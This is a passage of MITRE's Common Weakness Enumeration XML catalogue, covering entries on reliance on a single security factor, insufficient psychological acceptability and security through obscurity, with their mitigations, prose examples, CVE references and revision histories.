					          <Reference_Author>Sean Barnum</Reference_Author>
					          <Reference_Author>Michael Gegick</Reference_Author>
					          <Reference_Title>Separation of Privilege</Reference_Title>
					          <Reference_PubDate>2005-12-06</Reference_PubDate>
					          <Reference_Link>https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/357.html</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter>Pascal Meunier</Submitter>
					          <Submitter_Organization>Purdue University</Submitter_Organization>
					          <Submission_Date>2008-01-18</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Common_Consequences, Description,
						Relationships, Other_Notes, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Other_Notes, Relationship_Notes,
						Terminology_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-01-12">Design Principle Violation:
						Insufficient Compartmentalization</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="654" Name="Reliance on a Single Factor in a Security Decision" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>A protection mechanism relies exclusively, or to a large
					extent, on the evaluation of a single condition or the integrity of a single
					object or entity in order to make a decision about granting access to restricted
					resources or functionality.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>657</Relationship_Target_ID>
					          <!--Violation of Secure Design Principles-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>693</Relationship_Target_ID>
					          <!--Protection Mechanism Failure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>254</Relationship_Target_ID>
					          <!--Security Features-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This node is closely associated with the term "Separation of Privilege."
						This term is used in several different ways in the industry, but they
						generally combine two closely related principles: compartmentalization
						(CWE-653) and using only one factor in a security decision (this node).
						Proper compartmentalization implicitly introduces multiple factors into a
						security decision, but there can be cases in which multiple factors are
						required for authentication or other mechanisms that do not involve
						compartmentalization, such as performing all required checks on a submitted
						certificate. It is likely that CWE-653 and CWE-654 will provoke further
						discussion.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Separation of Privilege</Term>
					          <Alternate_Term_Description>
						            <Text>Some people and publications use the term "Separation of Privilege" to
							describe this weakness, but this term has dual meanings in current
							usage. While this node is closely associated with the original
							definition of "Separation of Privilege" by Saltzer and Schroeder, others
							use the same term to describe poor compartmentalization (CWE-653).
							Because there are multiple interpretations, use of the "Separation of
							Privilege" term is discouraged.</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the single factor is compromised (e.g. by theft or spoofing), then
							the integrity of the entire security mechanism can be violated with
							respect to the user that is identified by that factor.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>It can become difficult or impossible for the product to be able to
							distinguish between legitimate activities by the entity who provided the
							factor, versus illegitimate activities by an attacker.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use multiple simultaneous checks before granting access to critical
							operations or granting critical privileges. A weaker but helpful
							mitigation is to use several successive checks (multiple layers of
							security).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Use redundant access rules on different choke points (e.g.,
							firewalls).</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Implicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>Password-only authentication is perhaps the most well-known example
						of use of a single factor. Anybody who knows a user's password can
						impersonate that user.</Intro_Text>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>When authenticating, use multiple factors, such as "something you
						know" (such as a password) and "something you have" (such as a
						hardware-based one-time password generator, or a biometric
						device).</Intro_Text>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>Jerome H. Saltzer</Reference_Author>
					          <Reference_Author>Michael D. Schroeder</Reference_Author>
					          <Reference_Title>The Protection of Information in Computer
						Systems</Reference_Title>
					          <Reference_Publication>Proceedings of the IEEE 63</Reference_Publication>
					          <Reference_PubDate>September, 1975</Reference_PubDate>
					          <Reference_Link>http://web.mit.edu/Saltzer/www/publications/protection/</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Sean Barnum</Reference_Author>
					          <Reference_Author>Michael Gegick</Reference_Author>
					          <Reference_Title>Separation of Privilege</Reference_Title>
					          <Reference_PubDate>2005-12-06</Reference_PubDate>
					          <Reference_Link>https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/357.html</Reference_Link>
				        </Reference>
			      </References>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>274</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter>Pascal Meunier</Submitter>
					          <Submitter_Organization>Purdue University</Submitter_Organization>
					          <Submission_Date>2008-01-18</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Common_Consequences,
						Relationships, Other_Notes, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Maintenance_Notes,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-01-12">Design Principle Violation:
						Reliance on a Single Factor in a Security Decision</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="655" Name="Insufficient Psychological Acceptability" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software has a protection mechanism that is too difficult
					or inconvenient to use, encouraging non-malicious users to disable or bypass the
					mechanism, whether by accident or on purpose.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>657</Relationship_Target_ID>
					          <!--Violation of Secure Design Principles-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>693</Relationship_Target_ID>
					          <!--Protection Mechanism Failure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>254</Relationship_Target_ID>
					          <!--Security Features-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>906</Relationship_Target_ID>
					          <!--SFP Cluster: UI-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>This weakness covers many security measures causing user inconvenience,
						requiring effort or causing frustration, that are disproportionate to the
						risks or value of the protected assets, or that are perceived to be
						ineffective.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>By bypassing the security mechanism, a user might leave the system in
							a less secure state than intended by the administrator, making it more
							susceptible to compromise.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Where possible, perform human factors and usability studies to
							identify where your product's security mechanisms are difficult to use,
							and why.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Make the security mechanism as seamless as possible, while also
							providing the user with sufficient details when a security decision
							produces unexpected results.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Implicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In "Usability of Security: A Case Study" (see References), the
						authors consider human factors in a cryptography product. Some of the
						weakness relevant discoveries of this case study were: users accidentally
						leaked sensitive information, could not figure out how to perform some
						tasks, thought they were enabling a security option when they were not, and
						made improper trust decisions.</Intro_Text>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>Enforcing complex and difficult-to-remember passwords that need to
						be frequently changed for access to trivial resources, e.g., to use a
						black-and-white printer. Complex password requirements can also cause users
						to store the passwords in an unsafe manner so they don't have to remember
						them, such as using a sticky note or saving them in an unencrypted
						file.</Intro_Text>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>Some CAPTCHA utilities produce images that are too difficult for a
						human to read, causing user frustration.</Intro_Text>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>Jerome H. Saltzer</Reference_Author>
					          <Reference_Author>Michael D. Schroeder</Reference_Author>
					          <Reference_Title>The Protection of Information in Computer
						Systems</Reference_Title>
					          <Reference_Publication>Proceedings of the IEEE 63</Reference_Publication>
					          <Reference_PubDate>September, 1975</Reference_PubDate>
					          <Reference_Link>http://web.mit.edu/Saltzer/www/publications/protection/</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Sean Barnum</Reference_Author>
					          <Reference_Author>Michael Gegick</Reference_Author>
					          <Reference_Title>Psychological Acceptability</Reference_Title>
					          <Reference_PubDate>2005-09-15</Reference_PubDate>
					          <Reference_Link>https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/354.html</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>J. D. Tygar</Reference_Author>
					          <Reference_Author>Alma Whitten</Reference_Author>
					          <Reference_Title>Usability of Security: A Case Study</Reference_Title>
					          <Reference_Publication>SCS Technical Report Collection,
						CMU-CS-98-155</Reference_Publication>
					          <Reference_PubDate>1998-12-15</Reference_PubDate>
					          <Reference_Link>http://reports-archive.adm.cs.cmu.edu/anon/1998/CMU-CS-98-155.pdf</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 14: Poor Usability." Page 217</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter>Pascal Meunier</Submitter>
					          <Submitter_Organization>Purdue University</Submitter_Organization>
					          <Submission_Date>2008-01-18</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-01-12">Design Principle Violation:
						Failure to Satisfy Psychological Acceptability</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Satisfy
						Psychological Acceptability</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="656" Name="Reliance on Security Through Obscurity" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software uses a protection mechanism whose strength depends
					heavily on its obscurity, such that knowledge of its algorithms or key data is
					sufficient to defeat the mechanism.</Description_Summary>
				        <Extended_Description>
					          <Text>This reliance on "security through obscurity" can produce resultant
						weaknesses if an attacker is able to reverse engineer the inner workings of
						the mechanism. Note that obscurity can be one small part of defense in
						depth, since it can create more work for an attacker; however, it is a
						significant risk if used as the primary means of protection.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>657</Relationship_Target_ID>
					          <!--Violation of Secure Design Principles-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>693</Relationship_Target_ID>
					          <!--Protection Mechanism Failure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>254</Relationship_Target_ID>
					          <!--Security Features-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>259</Relationship_Target_ID>
					          <!--Use of Hard-coded Password-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>321</Relationship_Target_ID>
					          <!--Use of Hard-coded Cryptographic Key-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>472</Relationship_Target_ID>
					          <!--External Control of Assumed-Immutable Web Parameter-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Note that there is a close relationship between this weakness and CWE-603
						(Use of Client-Side Authentication). If developers do not believe that a
						user can reverse engineer a client, then they are more likely to choose
						client-side authentication in the belief that it is safe.</Text>
				        </Note>
			      </Other_Notes>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Never Assuming your secrets are safe</Term>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The security mechanism can be bypassed easily.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Always consider whether knowledge of your code or design is sufficient
							to break it. Reverse engineering is a highly successful discipline, and
							financially feasible for motivated adversaries. Black-box techniques are
							established for binary analysis of executables that use obfuscation,
							runtime analysis of proprietary protocols, inferring file formats, and
							others.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When available, use publicly-vetted algorithms and procedures, as
							these are more likely to undergo more extensive security analysis and
							testing. This is especially the case with encryption and
							authentication.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Implicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The design of TCP relies on the secrecy of Initial Sequence Numbers
						(ISNs), as originally covered in CVE-1999-0077. If ISNs can be guessed (due
						to predictability, CWE-330) or sniffed (due to lack of encryption, CWE-311),
						then an attacker can hijack or spoof connections. Many TCP implementations
						have had variations of this problem over the years, including CVE-2004-0641,
						CVE-2002-1463, CVE-2001-0751, CVE-2001-0328, CVE-2001-0288, CVE-2001-0163,
						CVE-2001-0162, CVE-2000-0916, and CVE-2000-0328.</Intro_Text>
					          <Demonstrative_Example_References>
						            <Reference>
							              <Reference_Author>Jon Postel, Editor</Reference_Author>
							              <Reference_Title>RFC: 793, TRANSMISSION CONTROL
								PROTOCOL</Reference_Title>
							              <Reference_Publisher>Information Sciences
								Institute</Reference_Publisher>
							              <Reference_PubDate>September 1981</Reference_PubDate>
							              <Reference_Link>http://www.ietf.org/rfc/rfc0793.txt</Reference_Link>
						            </Reference>
					          </Demonstrative_Example_References>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-6588</Observed_Example_Reference>
					          <Observed_Example_Description>Reliance on hidden form fields in a web
						application. Many web application vulnerabilities exist because the
						developer did not consider that "hidden" form fields can be processed using
						a modified client.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-7142</Observed_Example_Reference>
					          <Observed_Example_Description>Hard-coded cryptographic key stored in executable
						program.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-4002</Observed_Example_Reference>
					          <Observed_Example_Description>Hard-coded cryptographic key stored in executable
						program.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-4068</Observed_Example_Reference>
					          <Observed_Example_Description>Hard-coded hashed values for username and password
						contained in client-side script, allowing brute-force offline
						attacks.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>Jerome H. Saltzer</Reference_Author>
					          <Reference_Author>Michael D. Schroeder</Reference_Author>
					          <Reference_Title>The Protection of Information in Computer
						Systems</Reference_Title>
					          <Reference_Publication>Proceedings of the IEEE 63</Reference_Publication>
					          <Reference_PubDate>September, 1975</Reference_PubDate>
					          <Reference_Link>http://web.mit.edu/Saltzer/www/publications/protection/</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Sean Barnum</Reference_Author>
					          <Reference_Author>Michael Gegick</Reference_Author>
					          <Reference_Title>Never Assuming that Your Secrets Are Safe</Reference_Title>
					          <Reference_PubDate>2005-09-14</Reference_PubDate>
					          <Reference_Link>https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/352.html</Reference_Link>
				        </Reference>
			      </References>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>133</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter>Pascal Meunier</Submitter>
					          <Submitter_Organization>Purdue University</Submitter_Organization>
					          <Submission_Date>2008-01-18</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description, Relationships,
						Other_Notes, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
